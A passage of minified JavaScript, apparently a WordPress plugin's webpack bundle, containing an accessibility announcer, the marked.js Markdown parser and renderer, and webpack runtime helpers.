e();document.addEventListener("DOMContentLoaded",e)}((function(){t=document.getElementById("a11y-speak-polite"),s=document.getElementById("a11y-speak-assertive"),null===t&&(t=r("polite")),null===s&&(s=r("assertive"))})),e.exports=function(e,r){!function(){for(var e=document.querySelectorAll(".a11y-speak-region"),t=0;t<e.length;t++)e[t].textContent=""}(),e=e.replace(/<[^<>]+>/g," "),n===e&&(e+=" "),n=e,s&&"assertive"===r?s.textContent=e:t&&(t.textContent=e)}},7084:function(e,t,s){!function(t){"use strict";var s={newline:/^\n+/,code:/^( {4}[^\n]+\n*)+/,fences:/^ {0,3}(`{3,}|~{3,})([^`~\n]*)\n(?:|([\s\S]*?)\n)(?: {0,3}\1[~`]* *(?:\n+|$)|$)/,hr:/^ {0,3}((?:- *){3,}|(?:_ *){3,}|(?:\* *){3,})(?:\n+|$)/,heading:/^ {0,3}(#{1,6}) +([^\n]*?)(?: +#+)? *(?:\n+|$)/,blockquote:/^( {0,3}> ?(paragraph|[^\n]*)(?:\n|$))+/,list:/^( {0,3})(bull) [\s\S]+?(?:hr|def|\n{2,}(?! )(?!\1bull )\n*|\s*$)/,html:"^ {0,3}(?:<(script|pre|style)[\\s>][\\s\\S]*?(?:</\\1>[^\\n]*\\n+|$)|comment[^\\n]*(\\n+|$)|<\\?[\\s\\S]*?\\?>\\n*|<![A-Z][\\s\\S]*?>\\n*|<!\\[CDATA\\[[\\s\\S]*?\\]\\]>\\n*|</?(tag)(?: +|\\n|/?>)[\\s\\S]*?(?:\\n{2,}|$)|<(?!script|pre|style)([a-z][\\w-]*)(?:attribute)*? */?>(?=[ \\t]*(?:\\n|$))[\\s\\S]*?(?:\\n{2,}|$)|</(?!script|pre|style)[a-z][\\w-]*\\s*>(?=[ \\t]*(?:\\n|$))[\\s\\S]*?(?:\\n{2,}|$))",def:/^ {0,3}\[(label)\]: *\n? *<?([^\s>]+)>?(?:(?: +\n? *| *\n *)(title))? *(?:\n+|$)/,nptable:y,table:y,lheading:/^([^\n]+)\n {0,3}(=+|-+) *(?:\n+|$)/,_paragraph:/^([^\n]+(?:\n(?!hr|heading|lheading|blockquote|fences|list|html)[^\n]+)*)/,text:/^[^\n]+/};function n(e){this.tokens=[],this.tokens.links=Object.create(null),this.options=e||v.defaults,this.rules=s.normal,this.options.pedantic?this.rules=s.pedantic:this.options.gfm&&(this.rules=s.gfm)}s._label=/(?!\s*\])(?:\\[\[\]]|[^\[\]])+/,s._title=/(?:"(?:\\"?|[^"\\])*"|'[^'\n]*(?:\n[^'\n]+)*\n?'|\([^()]*\))/,s.def=u(s.def).replace("label",s._label).replace("title",s._title).getRegex(),s.bullet=/(?:[*+-]|\d{1,9}\.)/,s.item=/^( *)(bull) ?[^\n]*(?:\n(?!\1bull ?)[^\n]*)*/,s.item=u(s.item,"gm").replace(/bull/g,s.bullet).getRegex(),s.list=u(s.list).replace(/bull/g,s.bullet).replace("hr","\\n+(?=\\1?(?:(?:- *){3,}|(?:_ *){3,}|(?:\\* *){3,})(?:\\n+|$))").replace("def","\\n+(?="+s.def.source+")").getRegex(),s._tag="address|article|aside|base|basefont|blockquote|body|caption|center|col|colgroup|dd|details|dialog|dir|div|dl|dt|fieldset|figcaption|figure|footer|form|frame|frameset|h[1-6]|head|header|hr|html|iframe|legend|li|link|main|menu|menuitem|meta|nav|noframes|ol|optgroup|option|p|param|section|source|summary|table|tbody|td|tfoot|th|thead|title|tr|track|ul",s._comment=/<!--(?!-?>)[\s\S]*?-->/,s.html=u(s.html,"i").replace("comment",s._comment).replace("tag",s._tag).replace("attribute",/ +[a-zA-Z:_][\w.:-]*(?: *= *"[^"\n]*"| *= *'[^'\n]*'| *= *[^\s"'=<>`]+)?/).getRegex(),s.paragraph=u(s._paragraph).replace("hr",s.hr).replace("heading"," {0,3}#{1,6} +").replace("|lheading","").replace("blockquote"," {0,3}>").replace("fences"," {0,3}(?:`{3,}|~{3,})[^`\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html","</?(?:tag)(?: +|\\n|/?>)|<(?:script|pre|style|!--)").replace("tag",s._tag).getRegex(),s.blockquote=u(s.blockquote).replace("paragraph",s.paragraph).getRegex(),s.normal=f({},s),s.gfm=f({},s.normal,{nptable:/^ *([^|\n ].*\|.*)\n *([-:]+ *\|[-| :]*)(?:\n((?:.*[^>\n ].*(?:\n|$))*)\n*|$)/,table:/^ *\|(.+)\n *\|?( *[-:]+[-| :]*)(?:\n((?: *[^>\n ].*(?:\n|$))*)\n*|$)/}),s.pedantic=f({},s.normal,{html:u("^ *(?:comment *(?:\\n|\\s*$)|<(tag)[\\s\\S]+?</\\1> *(?:\\n{2,}|\\s*$)|<tag(?:\"[^\"]*\"|'[^']*'|\\s[^'\"/>\\s]*)*?/?> *(?:\\n{2,}|\\s*$))").replace("comment",s._comment).replace(/tag/g,"(?!(?:a|em|strong|small|s|cite|q|dfn|abbr|data|time|code|var|samp|kbd|sub|sup|i|b|u|mark|ruby|rt|rp|bdi|bdo|span|br|wbr|ins|del|img)\\b)\\w+(?!:|[^\\w\\s@]*@)\\b").getRegex(),def:/^ *\[([^\]]+)\]: *<?([^\s>]+)>?(?: +(["(][^\n]+[")]))? *(?:\n+|$)/,heading:/^ *(#{1,6}) *([^\n]+?) *(?:#+ *)?(?:\n+|$)/,fences:y,paragraph:u(s.normal._paragraph).replace("hr",s.hr).replace("heading"," *#{1,6} *[^\n]").replace("lheading",s.lheading).replace("blockquote"," {0,3}>").replace("|fences","").replace("|list","").replace("|html","").getRegex()}),n.rules=s,n.lex=function(e,t){return new n(t).lex(e)},n.prototype.lex=function(e){return e=e.replace(/\r\n|\r/g,"\n").replace(/\t/g,"    ").replace(/\u00a0/g," ").replace(/\u2424/g,"\n"),this.token(e,!0)},n.prototype.token=function(e,t){var n,r,i,o,a,l,c,d,u,h,g,m,y,f,_,k;for(e=e.replace(/^ +$/gm,"");e;)if((i=this.rules.newline.exec(e))&&(e=e.substring(i[0].length),i[0].length>1&&this.tokens.push({type:"space"})),i=this.rules.code.exec(e)){var v=this.tokens[this.tokens.length-1];e=e.substring(i[0].length),v&&"paragraph"===v.type?v.text+="\n"+i[0].trimRight():(i=i[0].replace(/^ {4}/gm,""),this.tokens.push({type:"code",codeBlockStyle:"indented",text:this.options.pedantic?i:b(i,"\n")}))}else if(i=this.rules.fences.exec(e))e=e.substring(i[0].length),this.tokens.push({type:"code",lang:i[2]?i[2].trim():i[2],text:i[3]||""});else if(i=this.rules.heading.exec(e))e=e.substring(i[0].length),this.tokens.push({type:"heading",depth:i[1].length,text:i[2]});else if((i=this.rules.nptable.exec(e))&&(l={type:"table",header:w(i[1].replace(/^ *| *\| *$/g,"")),align:i[2].replace(/^ *|\| *$/g,"").split(/ *\| */),cells:i[3]?i[3].replace(/\n$/,"").split("\n"):[]}).header.length===l.align.length){for(e=e.substring(i[0].length),g=0;g<l.align.length;g++)/^ *-+: *$/.test(l.align[g])?l.align[g]="right":/^ *:-+: *$/.test(l.align[g])?l.align[g]="center":/^ *:-+ *$/.test(l.align[g])?l.align[g]="left":l.align[g]=null;for(g=0;g<l.cells.length;g++)l.cells[g]=w(l.cells[g],l.header.length);this.tokens.push(l)}else if(i=this.rules.hr.exec(e))e=e.substring(i[0].length),this.tokens.push({type:"hr"});else if(i=this.rules.blockquote.exec(e))e=e.substring(i[0].length),this.tokens.push({type:"blockquote_start"}),i=i[0].replace(/^ *> ?/gm,""),this.token(i,t),this.tokens.push({type:"blockquote_end"});else if(i=this.rules.list.exec(e)){for(e=e.substring(i[0].length),c={type:"list_start",ordered:f=(o=i[2]).length>1,start:f?+o:"",loose:!1},this.tokens.push(c),d=[],n=!1,y=(i=i[0].match(this.rules.item)).length,g=0;g<y;g++)h=(l=i[g]).length,~(l=l.replace(/^ *([*+-]|\d+\.) */,"")).indexOf("\n ")&&(h-=l.length,l=this.options.pedantic?l.replace(/^ {1,4}/gm,""):l.replace(new RegExp("^ {1,"+h+"}","gm"),"")),g!==y-1&&(a=s.bullet.exec(i[g+1])[0],(o.length>1?1===a.length:a.length>1||this.options.smartLists&&a!==o)&&(e=i.slice(g+1).join("\n")+e,g=y-1)),r=n||/\n\n(?!\s*$)/.test(l),g!==y-1&&(n="\n"===l.charAt(l.length-1),r||(r=n)),r&&(c.loose=!0),k=void 0,(_=/^\[[ xX]\] /.test(l))&&(k=" "!==l[1],l=l.replace(/^\[[ xX]\] +/,"")),u={type:"list_item_start",task:_,checked:k,loose:r},d.push(u),this.tokens.push(u),this.token(l,!1),this.tokens.push({type:"list_item_end"});if(c.loose)for(y=d.length,g=0;g<y;g++)d[g].loose=!0;this.tokens.push({type:"list_end"})}else if(i=this.rules.html.exec(e))e=e.substring(i[0].length),this.tokens.push({type:this.options.sanitize?"paragraph":"html",pre:!this.options.sanitizer&&("pre"===i[1]||"script"===i[1]||"style"===i[1]),text:this.options.sanitize?this.options.sanitizer?this.options.sanitizer(i[0]):p(i[0]):i[0]});else if(t&&(i=this.rules.def.exec(e)))e=e.substring(i[0].length),i[3]&&(i[3]=i[3].substring(1,i[3].length-1)),m=i[1].toLowerCase().replace(/\s+/g," "),this.tokens.links[m]||(this.tokens.links[m]={href:i[2],title:i[3]});else if((i=this.rules.table.exec(e))&&(l={type:"table",header:w(i[1].replace(/^ *| *\| *$/g,"")),align:i[2].replace(/^ *|\| *$/g,"").split(/ *\| */),cells:i[3]?i[3].replace(/\n$/,"").split("\n"):[]}).header.length===l.align.length){for(e=e.substring(i[0].length),g=0;g<l.align.length;g++)/^ *-+: *$/.test(l.align[g])?l.align[g]="right":/^ *:-+: *$/.test(l.align[g])?l.align[g]="center":/^ *:-+ *$/.test(l.align[g])?l.align[g]="left":l.align[g]=null;for(g=0;g<l.cells.length;g++)l.cells[g]=w(l.cells[g].replace(/^ *\| *| *\| *$/g,""),l.header.length);this.tokens.push(l)}else if(i=this.rules.lheading.exec(e))e=e.substring(i[0].length),this.tokens.push({type:"heading",depth:"="===i[2].charAt(0)?1:2,text:i[1]});else if(t&&(i=this.rules.paragraph.exec(e)))e=e.substring(i[0].length),this.tokens.push({type:"paragraph",text:"\n"===i[1].charAt(i[1].length-1)?i[1].slice(0,-1):i[1]});else if(i=this.rules.text.exec(e))e=e.substring(i[0].length),this.tokens.push({type:"text",text:i[0]});else if(e)throw new Error("Infinite loop on byte: "+e.charCodeAt(0));return this.tokens};var r={escape:/^\\([!"#$%&'()*+,\-./:;<=>?@\[\]\\^_`{|}~])/,autolink:/^<(scheme:[^\s\x00-\x1f<>]*|email)>/,url:y,tag:"^comment|^</[a-zA-Z][\\w:-]*\\s*>|^<[a-zA-Z][\\w-]*(?:attribute)*?\\s*/?>|^<\\?[\\s\\S]*?\\?>|^<![a-zA-Z]+\\s[\\s\\S]*?>|^<!\\[CDATA\\[[\\s\\S]*?\\]\\]>",link:/^!?\[(label)\]\(\s*(href)(?:\s+(title))?\s*\)/,reflink:/^!?\[(label)\]\[(?!\s*\])((?:\\[\[\]]?|[^\[\]\\])+)\]/,nolink:/^!?\[(?!\s*\])((?:\[[^\[\]]*\]|\\[\[\]]|[^\[\]])*)\](?:\[\])?/,strong:/^__([^\s_])__(?!_)|^\*\*([^\s*])\*\*(?!\*)|^__([^\s][\s\S]*?[^\s])__(?!_)|^\*\*([^\s][\s\S]*?[^\s])\*\*(?!\*)/,em:/^_([^\s_])_(?!_)|^\*([^\s*<\[])\*(?!\*)|^_([^\s<][\s\S]*?[^\s_])_(?!_|[^\spunctuation])|^_([^\s_<][\s\S]*?[^\s])_(?!_|[^\spunctuation])|^\*([^\s<"][\s\S]*?[^\s\*])\*(?!\*|[^\spunctuation])|^\*([^\s*"<\[][\s\S]*?[^\s])\*(?!\*)/,code:/^(`+)([^`]|[^`][\s\S]*?[^`])\1(?!`)/,br:/^( {2,}|\\)\n(?!\s*$)/,del:y,text:/^(`+|[^`])(?:[\s\S]*?(?:(?=[\\<!\[`*]|\b_|$)|[^ ](?= {2,}\n))|(?= {2,}\n))/};function i(e,t){if(this.options=t||v.defaults,this.links=e,this.rules=r.normal,this.renderer=this.options.renderer||new o,this.renderer.options=this.options,!this.links)throw new Error("Tokens array requires a `links` property.");this.options.pedantic?this.rules=r.pedantic:this.options.gfm&&(this.options.breaks?this.rules=r.breaks:this.rules=r.gfm)}function o(e){this.options=e||v.defaults}function a(){}function l(e){this.tokens=[],this.token=null,this.options=e||v.defaults,this.options.renderer=this.options.renderer||new o,this.renderer=this.options.renderer,this.renderer.options=this.options,this.slugger=new c}function c(){this.seen={}}function p(e,t){if(t){if(p.escapeTest.test(e))return e.replace(p.escapeReplace,(function(e){return p.replacements[e]}))}else if(p.escapeTestNoEncode.test(e))return e.replace(p.escapeReplaceNoEncode,(function(e){return p.replacements[e]}));return e}function d(e){return e.replace(/&(#(?:\d+)|(?:#x[0-9A-Fa-f]+)|(?:\w+));?/gi,(function(e,t){return"colon"===(t=t.toLowerCase())?":":"#"===t.charAt(0)?"x"===t.charAt(1)?String.fromCharCode(parseInt(t.substring(2),16)):String.fromCharCode(+t.substring(1)):""}))}function u(e,t){return e=e.source||e,t=t||"",{replace:function(t,s){return s=(s=s.source||s).replace(/(^|[^\[])\^/g,"$1"),e=e.replace(t,s),this},getRegex:function(){return new RegExp(e,t)}}}function h(e,t,s){if(e){try{var n=decodeURIComponent(d(s)).replace(/[^\w:]/g,"").toLowerCase()}catch(e){return null}if(0===n.indexOf("javascript:")||0===n.indexOf("vbscript:")||0===n.indexOf("data:"))return null}t&&!m.test(s)&&(s=function(e,t){return g[" "+e]||(/^[^:]+:\/*[^/]*$/.test(e)?g[" "+e]=e+"/":g[" "+e]=b(e,"/",!0)),e=g[" "+e],"//"===t.slice(0,2)?e.replace(/:[\s\S]*/,":")+t:"/"===t.charAt(0)?e.replace(/(:\/*[^/]*)[\s\S]*/,"$1")+t:e+t}(t,s));try{s=encodeURI(s).replace(/%25/g,"%")}catch(e){return null}return s}r._punctuation="!\"#$%&'()*+,\\-./:;<=>?@\\[^_{|}~",r.em=u(r.em).replace(/punctuation/g,r._punctuation).getRegex(),r._escapes=/\\([!"#$%&'()*+,\-./:;<=>?@\[\]\\^_`{|}~])/g,r._scheme=/[a-zA-Z][a-zA-Z0-9+.-]{1,31}/,r._email=/[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+(@)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)+(?![-_])/,r.autolink=u(r.autolink).replace("scheme",r._scheme).replace("email",r._email).getRegex(),r._attribute=/\s+[a-zA-Z:_][\w.:-]*(?:\s*=\s*"[^"]*"|\s*=\s*'[^']*'|\s*=\s*[^\s"'=<>`]+)?/,r.tag=u(r.tag).replace("comment",s._comment).replace("attribute",r._attribute).getRegex(),r._label=/(?:\[[^\[\]]*\]|\\.|`[^`]*`|[^\[\]\\`])*?/,r._href=/<(?:\\[<>]?|[^\s<>\\])*>|[^\s\x00-\x1f]*/,r._title=/"(?:\\"?|[^"\\])*"|'(?:\\'?|[^'\\])*'|\((?:\\\)?|[^)\\])*\)/,r.link=u(r.link).replace("label",r._label).replace("href",r._href).replace("title",r._title).getRegex(),r.reflink=u(r.reflink).replace("label",r._label).getRegex(),r.normal=f({},r),r.pedantic=f({},r.normal,{strong:/^__(?=\S)([\s\S]*?\S)__(?!_)|^\*\*(?=\S)([\s\S]*?\S)\*\*(?!\*)/,em:/^_(?=\S)([\s\S]*?\S)_(?!_)|^\*(?=\S)([\s\S]*?\S)\*(?!\*)/,link:u(/^!?\[(label)\]\((.*?)\)/).replace("label",r._label).getRegex(),reflink:u(/^!?\[(label)\]\s*\[([^\]]*)\]/).replace("label",r._label).getRegex()}),r.gfm=f({},r.normal,{escape:u(r.escape).replace("])","~|])").getRegex(),_extended_email:/[A-Za-z0-9._+-]+(@)[a-zA-Z0-9-_]+(?:\.[a-zA-Z0-9-_]*[a-zA-Z0-9])+(?![-_])/,url:/^((?:ftp|https?):\/\/|www\.)(?:[a-zA-Z0-9\-]+\.?)+[^\s<]*|^email/,_backpedal:/(?:[^?!.,:;*_~()&]+|\([^)]*\)|&(?![a-zA-Z0-9]+;$)|[?!.,:;*_~)]+(?!$))+/,del:/^~+(?=\S)([\s\S]*?\S)~+/,text:/^(`+|[^`])(?:[\s\S]*?(?:(?=[\\<!\[`*~]|\b_|https?:\/\/|ftp:\/\/|www\.|$)|[^ ](?= {2,}\n)|[^a-zA-Z0-9.!#$%&'*+\/=?_`{\|}~-](?=[a-zA-Z0-9.!#$%&'*+\/=?_`{\|}~-]+@))|(?= {2,}\n|[a-zA-Z0-9.!#$%&'*+\/=?_`{\|}~-]+@))/}),r.gfm.url=u(r.gfm.url,"i").replace("email",r.gfm._extended_email).getRegex(),r.breaks=f({},r.gfm,{br:u(r.br).replace("{2,}","*").getRegex(),text:u(r.gfm.text).replace("\\b_","\\b_| {2,}\\n").replace(/\{2,\}/g,"*").getRegex()}),i.rules=r,i.output=function(e,t,s){return new i(t,s).output(e)},i.prototype.output=function(e){for(var t,s,n,r,o,a,l="";e;)if(o=this.rules.escape.exec(e))e=e.substring(o[0].length),l+=p(o[1]);else if(o=this.rules.tag.exec(e))!this.inLink&&/^<a /i.test(o[0])?this.inLink=!0:this.inLink&&/^<\/a>/i.test(o[0])&&(this.inLink=!1),!this.inRawBlock&&/^<(pre|code|kbd|script)(\s|>)/i.test(o[0])?this.inRawBlock=!0:this.inRawBlock&&/^<\/(pre|code|kbd|script)(\s|>)/i.test(o[0])&&(this.inRawBlock=!1),e=e.substring(o[0].length),l+=this.options.sanitize?this.options.sanitizer?this.options.sanitizer(o[0]):p(o[0]):o[0];else if(o=this.rules.link.exec(e)){var c=_(o[2],"()");if(c>-1){var d=4+o[1].length+c;o[2]=o[2].substring(0,c),o[0]=o[0].substring(0,d).trim(),o[3]=""}e=e.substring(o[0].length),this.inLink=!0,n=o[2],this.options.pedantic?(t=/^([^'"]*[^\s])\s+(['"])(.*)\2/.exec(n))?(n=t[1],r=t[3]):r="":r=o[3]?o[3].slice(1,-1):"",n=n.trim().replace(/^<([\s\S]*)>$/,"$1"),l+=this.outputLink(o,{href:i.escapes(n),title:i.escapes(r)}),this.inLink=!1}else if((o=this.rules.reflink.exec(e))||(o=this.rules.nolink.exec(e))){if(e=e.substring(o[0].length),t=(o[2]||o[1]).replace(/\s+/g," "),!(t=this.links[t.toLowerCase()])||!t.href){l+=o[0].charAt(0),e=o[0].substring(1)+e;continue}this.inLink=!0,l+=this.outputLink(o,t),this.inLink=!1}else if(o=this.rules.strong.exec(e))e=e.substring(o[0].length),l+=this.renderer.strong(this.output(o[4]||o[3]||o[2]||o[1]));else if(o=this.rules.em.exec(e))e=e.substring(o[0].length),l+=this.renderer.em(this.output(o[6]||o[5]||o[4]||o[3]||o[2]||o[1]));else if(o=this.rules.code.exec(e))e=e.substring(o[0].length),l+=this.renderer.codespan(p(o[2].trim(),!0));else if(o=this.rules.br.exec(e))e=e.substring(o[0].length),l+=this.renderer.br();else if(o=this.rules.del.exec(e))e=e.substring(o[0].length),l+=this.renderer.del(this.output(o[1]));else if(o=this.rules.autolink.exec(e))e=e.substring(o[0].length),n="@"===o[2]?"mailto:"+(s=p(this.mangle(o[1]))):s=p(o[1]),l+=this.renderer.link(n,null,s);else if(this.inLink||!(o=this.rules.url.exec(e))){if(o=this.rules.text.exec(e))e=e.substring(o[0].length),this.inRawBlock?l+=this.renderer.text(this.options.sanitize?this.options.sanitizer?this.options.sanitizer(o[0]):p(o[0]):o[0]):l+=this.renderer.text(p(this.smartypants(o[0])));else if(e)throw new Error("Infinite loop on byte: "+e.charCodeAt(0))}else{if("@"===o[2])n="mailto:"+(s=p(o[0]));else{do{a=o[0],o[0]=this.rules._backpedal.exec(o[0])[0]}while(a!==o[0]);s=p(o[0]),n="www."===o[1]?"http://"+s:s}e=e.substring(o[0].length),l+=this.renderer.link(n,null,s)}return l},i.escapes=function(e){return e?e.replace(i.rules._escapes,"$1"):e},i.prototype.outputLink=function(e,t){var s=t.href,n=t.title?p(t.title):null;return"!"!==e[0].charAt(0)?this.renderer.link(s,n,this.output(e[1])):this.renderer.image(s,n,p(e[1]))},i.prototype.smartypants=function(e){return this.options.smartypants?e.replace(/---/g,"—").replace(/--/g,"–").replace(/(^|[-\u2014/(\[{"\s])'/g,"$1‘").replace(/'/g,"’").replace(/(^|[-\u2014/(\[{\u2018\s])"/g,"$1“").replace(/"/g,"”").replace(/\.{3}/g,"…"):e},i.prototype.mangle=function(e){if(!this.options.mangle)return e;for(var t,s="",n=e.length,r=0;r<n;r++)t=e.charCodeAt(r),Math.random()>.5&&(t="x"+t.toString(16)),s+="&#"+t+";";return s},o.prototype.code=function(e,t,s){var n=(t||"").match(/\S*/)[0];if(this.options.highlight){var r=this.options.highlight(e,n);null!=r&&r!==e&&(s=!0,e=r)}return n?'<pre><code class="'+this.options.langPrefix+p(n,!0)+'">'+(s?e:p(e,!0))+"</code></pre>\n":"<pre><code>"+(s?e:p(e,!0))+"</code></pre>"},o.prototype.blockquote=function(e){return"<blockquote>\n"+e+"</blockquote>\n"},o.prototype.html=function(e){return e},o.prototype.heading=function(e,t,s,n){return this.options.headerIds?"<h"+t+' id="'+this.options.headerPrefix+n.slug(s)+'">'+e+"</h"+t+">\n":"<h"+t+">"+e+"</h"+t+">\n"},o.prototype.hr=function(){return this.options.xhtml?"<hr/>\n":"<hr>\n"},o.prototype.list=function(e,t,s){var n=t?"ol":"ul";return"<"+n+(t&&1!==s?' start="'+s+'"':"")+">\n"+e+"</"+n+">\n"},o.prototype.listitem=function(e){return"<li>"+e+"</li>\n"},o.prototype.checkbox=function(e){return"<input "+(e?'checked="" ':"")+'disabled="" type="checkbox"'+(this.options.xhtml?" /":"")+"> "},o.prototype.paragraph=function(e){return"<p>"+e+"</p>\n"},o.prototype.table=function(e,t){return t&&(t="<tbody>"+t+"</tbody>"),"<table>\n<thead>\n"+e+"</thead>\n"+t+"</table>\n"},o.prototype.tablerow=function(e){return"<tr>\n"+e+"</tr>\n"},o.prototype.tablecell=function(e,t){var s=t.header?"th":"td";return(t.align?"<"+s+' align="'+t.align+'">':"<"+s+">")+e+"</"+s+">\n"},o.prototype.strong=function(e){return"<strong>"+e+"</strong>"},o.prototype.em=function(e){return"<em>"+e+"</em>"},o.prototype.codespan=function(e){return"<code>"+e+"</code>"},o.prototype.br=function(){return this.options.xhtml?"<br/>":"<br>"},o.prototype.del=function(e){return"<del>"+e+"</del>"},o.prototype.link=function(e,t,s){if(null===(e=h(this.options.sanitize,this.options.baseUrl,e)))return s;var n='<a href="'+p(e)+'"';return t&&(n+=' title="'+t+'"'),n+">"+s+"</a>"},o.prototype.image=function(e,t,s){if(null===(e=h(this.options.sanitize,this.options.baseUrl,e)))return s;var n='<img src="'+e+'" alt="'+s+'"';return t&&(n+=' title="'+t+'"'),n+(this.options.xhtml?"/>":">")},o.prototype.text=function(e){return e},a.prototype.strong=a.prototype.em=a.prototype.codespan=a.prototype.del=a.prototype.text=function(e){return e},a.prototype.link=a.prototype.image=function(e,t,s){return""+s},a.prototype.br=function(){return""},l.parse=function(e,t){return new l(t).parse(e)},l.prototype.parse=function(e){this.inline=new i(e.links,this.options),this.inlineText=new i(e.links,f({},this.options,{renderer:new a})),this.tokens=e.reverse();for(var t="";this.next();)t+=this.tok();return t},l.prototype.next=function(){return this.token=this.tokens.pop(),this.token},l.prototype.peek=function(){return this.tokens[this.tokens.length-1]||0},l.prototype.parseText=function(){for(var e=this.token.text;"text"===this.peek().type;)e+="\n"+this.next().text;return this.inline.output(e)},l.prototype.tok=function(){switch(this.token.type){case"space":return"";case"hr":return this.renderer.hr();case"heading":return this.renderer.heading(this.inline.output(this.token.text),this.token.depth,d(this.inlineText.output(this.token.text)),this.slugger);case"code":return this.renderer.code(this.token.text,this.token.lang,this.token.escaped);case"table":var e,t,s,n,r="",i="";for(s="",e=0;e<this.token.header.length;e++)s+=this.renderer.tablecell(this.inline.output(this.token.header[e]),{header:!0,align:this.token.align[e]});for(r+=this.renderer.tablerow(s),e=0;e<this.token.cells.length;e++){for(t=this.token.cells[e],s="",n=0;n<t.length;n++)s+=this.renderer.tablecell(this.inline.output(t[n]),{header:!1,align:this.token.align[n]});i+=this.renderer.tablerow(s)}return this.renderer.table(r,i);case"blockquote_start":for(i="";"blockquote_end"!==this.next().type;)i+=this.tok();return this.renderer.blockquote(i);case"list_start":i="";for(var o=this.token.ordered,a=this.token.start;"list_end"!==this.next().type;)i+=this.tok();return this.renderer.list(i,o,a);case"list_item_start":i="";var l=this.token.loose,c=this.token.checked,p=this.token.task;for(this.token.task&&(i+=this.renderer.checkbox(c));"list_item_end"!==this.next().type;)i+=l||"text"!==this.token.type?this.tok():this.parseText();return this.renderer.listitem(i,p,c);case"html":return this.renderer.html(this.token.text);case"paragraph":return this.renderer.paragraph(this.inline.output(this.token.text));case"text":return this.renderer.paragraph(this.parseText());default:var u='Token with "'+this.token.type+'" type was not found.';if(!this.options.silent)throw new Error(u);console.log(u)}},c.prototype.slug=function(e){var t=e.toLowerCase().trim().replace(/[\u2000-\u206F\u2E00-\u2E7F\\'!"#$%&()*+,./:;<=>?@[\]^`{|}~]/g,"").replace(/\s/g,"-");if(this.seen.hasOwnProperty(t)){var s=t;do{this.seen[s]++,t=s+"-"+this.seen[s]}while(this.seen.hasOwnProperty(t))}return this.seen[t]=0,t},p.escapeTest=/[&<>"']/,p.escapeReplace=/[&<>"']/g,p.replacements={"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;"},p.escapeTestNoEncode=/[<>"']|&(?!#?\w+;)/,p.escapeReplaceNoEncode=/[<>"']|&(?!#?\w+;)/g;var g={},m=/^$|^[a-z][a-z0-9+.-]*:|^[?#]/i;function y(){}function f(e){for(var t,s,n=1;n<arguments.length;n++)for(s in t=arguments[n])Object.prototype.hasOwnProperty.call(t,s)&&(e[s]=t[s]);return e}function w(e,t){var s=e.replace(/\|/g,(function(e,t,s){for(var n=!1,r=t;--r>=0&&"\\"===s[r];)n=!n;return n?"|":" |"})).split(/ \|/),n=0;if(s.length>t)s.splice(t);else for(;s.length<t;)s.push("");for(;n<s.length;n++)s[n]=s[n].trim().replace(/\\\|/g,"|");return s}function b(e,t,s){if(0===e.length)return"";for(var n=0;n<e.length;){var r=e.charAt(e.length-n-1);if(r!==t||s){if(r===t||!s)break;n++}else n++}return e.substr(0,e.length-n)}function _(e,t){if(-1===e.indexOf(t[1]))return-1;for(var s=0,n=0;n<e.length;n++)if("\\"===e[n])n++;else if(e[n]===t[0])s++;else if(e[n]===t[1]&&--s<0)return n;return-1}function k(e){e&&e.sanitize&&!e.silent&&console.warn("marked(): sanitize and sanitizer parameters are deprecated since version 0.7.0, should not be used and will be removed in the future. Read more here: https://marked.js.org/#/USING_ADVANCED.md#options")}function v(e,t,s){if(null==e)throw new Error("marked(): input parameter is undefined or null");if("string"!=typeof e)throw new Error("marked(): input parameter is of type "+Object.prototype.toString.call(e)+", string expected");if(s||"function"==typeof t){s||(s=t,t=null),k(t=f({},v.defaults,t||{}));var r,i,o=t.highlight,a=0;try{r=n.lex(e,t)}catch(e){return s(e)}i=r.length;var c=function(e){if(e)return t.highlight=o,s(e);var n;try{n=l.parse(r,t)}catch(t){e=t}return t.highlight=o,e?s(e):s(null,n)};if(!o||o.length<3)return c();if(delete t.highlight,!i)return c();for(;a<r.length;a++)!function(e){"code"!==e.type?--i||c():o(e.text,e.lang,(function(t,s){return t?c(t):null==s||s===e.text?--i||c():(e.text=s,e.escaped=!0,void(--i||c()))}))}(r[a])}else try{return t&&(t=f({},v.defaults,t)),k(t),l.parse(n.lex(e,t),t)}catch(e){if(e.message+="\nPlease report this to https://github.com/markedjs/marked.",(t||v.defaults).silent)return"<p>An error occurred:</p><pre>"+p(e.message+"",!0)+"</pre>";throw e}}y.exec=y,v.options=v.setOptions=function(e){return f(v.defaults,e),v},v.getDefaults=function(){return{baseUrl:null,breaks:!1,gfm:!0,headerIds:!0,headerPrefix:"",highlight:null,langPrefix:"language-",mangle:!0,pedantic:!1,renderer:new o,sanitize:!1,sanitizer:null,silent:!1,smartLists:!1,smartypants:!1,xhtml:!1}},v.defaults=v.getDefaults(),v.Parser=l,v.parser=l.parse,v.Renderer=o,v.TextRenderer=a,v.Lexer=n,v.lexer=n.lex,v.InlineLexer=i,v.inlineLexer=i.output,v.Slugger=c,v.parse=v,e.exports=v}(this||("undefined"!=typeof window?window:s.g))}},t={};function s(n){var r=t[n];if(void 0!==r)return r.exports;var i=t[n]={exports:{}};return e[n].call(i.exports,i,i.exports,s),i.exports}s.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return s.d(t,{a:t}),t},s.d=(e,t)=>{for(var n in t)s.o(t,n)&&!s.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:t[n]})},s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),s.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),s.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},(()=>{"use strict";var e={};s.r(e),s.d(e,{DISMISS_ALERT:()=>Ne,SNIPPET_EDITOR_FIND_CUSTOM_FIELDS:()=>Be,wistiaEmbedPermission:()=>De});var 